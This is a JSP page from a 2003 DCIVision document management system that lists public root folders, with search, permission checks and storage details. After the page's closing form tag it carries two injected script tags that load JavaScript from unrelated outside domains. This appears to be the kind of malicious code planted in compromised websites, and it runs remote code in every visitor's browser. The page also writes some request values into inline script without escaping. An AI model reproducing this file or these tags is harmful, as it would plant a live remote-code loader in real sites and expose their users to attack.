<%
/*
 * @(#)ListDmsPublicRoot.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListDmsPublicRoot.jsp

  This is a ListDmsPublicRoot page.

    @author             Rollo Chan
    @company            DCIVision Ltd
    @creation date      13/08/2003
    @version            $Revision: 1.31.20.17 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.Locale"%>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listDmsPublicRootForm" scope="request" class="com.dcivision.dms.web.ListDmsPublicRootForm"/>
<%
  /****************************************************************************
   * List Attributes                                    *
   ****************************************************************************/
  String      LIST_NAME = "dmsPublicRootList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"dms.columnheader.root_name", "ROOT_NAME"},
                            {"dms.columnheader.root_desc", "B.DESCRIPTION"},
                            {"dms.columnheader.storage_limit", "STORAGE_LIMIT"},
                            {"dms.columnheader.FolderInfo",GlobalConstant.NOT_AVAILABLE}
                          };

  String[][] SEARCH_MAP = { {"dms.label.root_name", "ROOT_NAME"},
                            {"dms.label.root_desc", "B.DESCRIPTION"},
                            {"dms.label.storage_limit", "STORAGE_LIMIT"}
                          };

  int     COLUMN_OFFSET = 1;


  if(!Utility.isEmpty(session.getAttribute("pageFlag"))){
        session.setAttribute("pageFlag",null);
  }else{
        session.setAttribute("pageFlag",null);
  }
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
   Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
   String sCurFunctionCode = (String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY);

   boolean enableBulkSearch = com.dcivision.framework.SystemParameterFactory.getSystemParameterBoolean(com.dcivision.framework.SystemParameterConstant.DMS_ENABLE_BULK_SEARCH);
   PermissionManager permissionManager = sessionContainer.getPermissionManager();
%>
<script language="Javascript">
<!--
function OpSearch(){
  document.listDmsPublicRootForm.curFunctionCode.value='<%=sCurFunctionCode%>';
  document.listDmsPublicRootForm.advSearchOpt.value="";
  document.listDmsPublicRootForm.opMode.value='';

  document.listDmsPublicRootForm.sortAttribute.value='';
  document.listDmsPublicRootForm.sortOrder.value='';

  document.listDmsPublicRootForm.action="EditSearchDmsDocument.do?searchPage=INDEX_SEARCH";
  document.listDmsPublicRootForm.submit();

  return false;
}
function OpKeywordSearch(){
  document.listDmsPublicRootForm.curFunctionCode.value='<%=sCurFunctionCode%>';
  document.listDmsPublicRootForm.advSearchOpt.value="";
  document.listDmsPublicRootForm.opMode.value='';

  document.listDmsPublicRootForm.sortAttribute.value='';
  document.listDmsPublicRootForm.sortOrder.value='';

  document.listDmsPublicRootForm.action="EditSearchDmsDocument.do?searchPage=KEY_WORD";
  document.listDmsPublicRootForm.submit();

  return false;
}
function OpBulkSearch(){
  document.listDmsPublicRootForm.curFunctionCode.value='<%=sCurFunctionCode%>';
  document.listDmsPublicRootForm.advSearchOpt.value="";
  document.listDmsPublicRootForm.opMode.value='';

  document.listDmsPublicRootForm.sortAttribute.value='';
  document.listDmsPublicRootForm.sortOrder.value='';

  document.listDmsPublicRootForm.action="EditSearchDmsDocument.do?searchPage=BULK_SEARCH";
  document.listDmsPublicRootForm.submit();

  return false;
}

function PopupCheckListPage(){
  var url = "ListDmsCheckOutDocument.do";
  var name = "DCIVisionPopupDmsCheckOutList";
  var popW = "800";
  var popH = "550";
  var feature = "scrollbars=yes,resizable=yes";

  return OpenCenteredPopup(url, name, popW, popH, feature);
}

function PopupListFolderInfo(){
  var url = "ListDmsCheckOutDocument.do";
  var name = "DCIVisionPopupDmsCheckOutList";
  var popW = "800";
  var popH = "550";
  var feature = "scrollbars=yes,resizable=yes";

  return OpenCenteredPopup(url, name, popW, popH, feature);
}

function PopupListRoot(publicRootID){
    var url = "MaintDmsPublicRootInfoAction.do?navMode=V&rootID=" + publicRootID;
    var name = "DCIVisionPopupDmsPublicRootInfoList";
    var popW = "480";
    var popH = "200";
    var feature = "scrollbars=yes,resizable=yes";
    return OpenCenteredPopup(url, name, popW, popH, feature);
}
-->
</script>
<!-- Form Section Begin -->
<html:form action="dms/ListDmsPublicRoot" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>

<html:hidden property="curFunctionCode" value="<%=sCurFunctionCode%>"/>
<html:hidden property="advSearchOpt"/>
<html:hidden property="fromFolder" value="PUBLIC_ROOT"/>

<div id='topButtonArea'>
  <div id='buttonSection' class="buttonContainer">
    <html:standardButton label="dms.label.check_out_document" link='<%=request.getContextPath() + "/dms/ListDmsCheckOutDocument.do"%>'/>
  </div>
</div>

<!-- Page List Bar Begin -->
<layout:listBar>
    <div class="button">
      <layout:returnButton className="but-standard"/>
    </div>
    <layout:filterControl/>
    </layout:listBar>
<!-- Page List Bar End -->

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
    <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
    <div>
        <table>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <html:select property="basicSearchField" onkeypress="onKeyPressHandler(event);">
                    <html:options stringArray='<%=SEARCH_MAP%>'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap>
                    <html:select property='basicSearchType' onkeypress="onKeyPressHandler(event);">
                    <html:options listName='criteriaList'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap><html:text property='basicSearchKeyword' maxlength='100' onkeypress="onKeyPressHandler(event);"/></td>
            </tr>
        </table>
    </div>
    <div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listDmsPublicRootForm, '${listDmsPublicRootForm.sortAttribute}', '${listDmsPublicRootForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(OpListReset(listDmsPublicRootForm))"/>
    </div>
    <br style="clear:both" />
</div>
<!-- Search Panel End -->

<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listDmsPublicRootForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listDmsPublicRootForm.getSortAttribute()%>" sortOrder="<%=listDmsPublicRootForm.getSortOrder()%>" copyColumn="false" checkColumn="false" editLabel=""/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="dmsRoot" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)dmsRoot).getID()%>);">
  <%
        // get last view tree parentID
        String folderTreeRootID = (String)request.getSession().getAttribute("publicfolderTreeRootID") ;
        String folderTreeParentID = (String)request.getSession().getAttribute("publicfolderTreeParentID") ;
        String parentID = (     (DmsRoot)dmsRoot).getRootFolderID().toString();
        if(!Utility.isEmpty(folderTreeRootID) && !Utility.isEmpty(folderTreeParentID)){
                if(((DmsRoot)dmsRoot).getID().intValue() == Integer.parseInt(folderTreeRootID))
                        parentID = folderTreeParentID ;
        }
        //Permission string
        String permission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, ((DmsRoot)dmsRoot).getDocumentID());

  %>

    <td align="center">
    <%if (permission != null && permission.indexOf("R") >= 0) {%>
      <a href="ListDmsPublicDocument.do?parentID=<%=parentID%>&rootID=<bean:write name='dmsRoot' property='ID'/>"><html:img src='IconGoGreen16.gif'  align='absmiddle'/></a>
    <%}else{%>
      <html:img src='IconGoGreen16.gif'  align='absmiddle'/>
    <%}%>
    </td>
    <td nowrap>
    <%if (permission != null && permission.indexOf("R") >= 0) {%>
      <a href="ListDmsPublicDocument.do?parentID=<%=parentID%>&rootID=<bean:write name='dmsRoot' property='ID'/>">

      <bean:write name='dmsRoot' property='rootName'/></a>
    <%}else{%>
      <bean:write name='dmsRoot' property='rootName'/>&nbsp;<html:img src="IconNoPermission.gif"  align="absmiddle"/>
    <%}%>

    </td>
    <td width="300"><bean:write name='dmsRoot' property='rootDesc'/></td>
    <td><nobr>
        <%if (((DmsRoot)dmsRoot).getStorageLimit()!=null) {
            if (((DmsRoot)dmsRoot).getStorageLimit().doubleValue()!=0.0) {
              out.println(TextUtility.formatStorageSize(((DmsRoot)dmsRoot).getStorageLimit(),"MB"));
            } else {%>
                          <bean:message key='dms.label.root_unlimit'/>
          <%}
          }%></nobr>
    </td>
    <%  /* Get the total no. of file and file size under the root  */
        DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, (java.sql.Connection)request.getAttribute(GlobalConstant.DB_KEY));
        Integer activeNoOfFile=docRetrievalManager.totalNoOfFileUnderRoot(GlobalConstant.RECORD_STATUS_ACTIVE,((DmsRoot)dmsRoot).getID() );
        Integer inactiveNoOfFile=docRetrievalManager.totalNoOfFileUnderRoot(GlobalConstant.RECORD_STATUS_INACTIVE,((DmsRoot)dmsRoot).getID() );
        Double activeFileSize=docRetrievalManager.totalFileSizeUnderRoot(GlobalConstant.RECORD_STATUS_ACTIVE,((DmsRoot)dmsRoot).getID() );
        String displayActiveFileSize=TextUtility.formatStorageSize(activeFileSize, "KB");
        Double inactiveFileSize=docRetrievalManager.totalFileSizeUnderRoot(GlobalConstant.RECORD_STATUS_INACTIVE,((DmsRoot)dmsRoot).getID() );
        String displayInactiveFileSize=TextUtility.formatStorageSize(inactiveFileSize, "KB");
    %>



    <td align="center"><a href="#" onclick="javaScript:{PopupListRoot(<bean:write name='dmsRoot' property='ID'/>)};"><html:img src='IconRootInfo.gif' /></a></td>
  </tr>

  </logic:iterate>
  <!-- Record Looping End -->
</table>
</div>
<!-- Table Showing Record List End -->

<!-- Pager Information Begin -->
<div class="listStatusBar">
  <layout:pager form="listDmsPublicRootForm" name='<%=LIST_NAME%>'>
  <div class="statement"><layout:pagerInfo/></div>
  <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
</div>
<!-- Pager Information End -->
</html:form>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>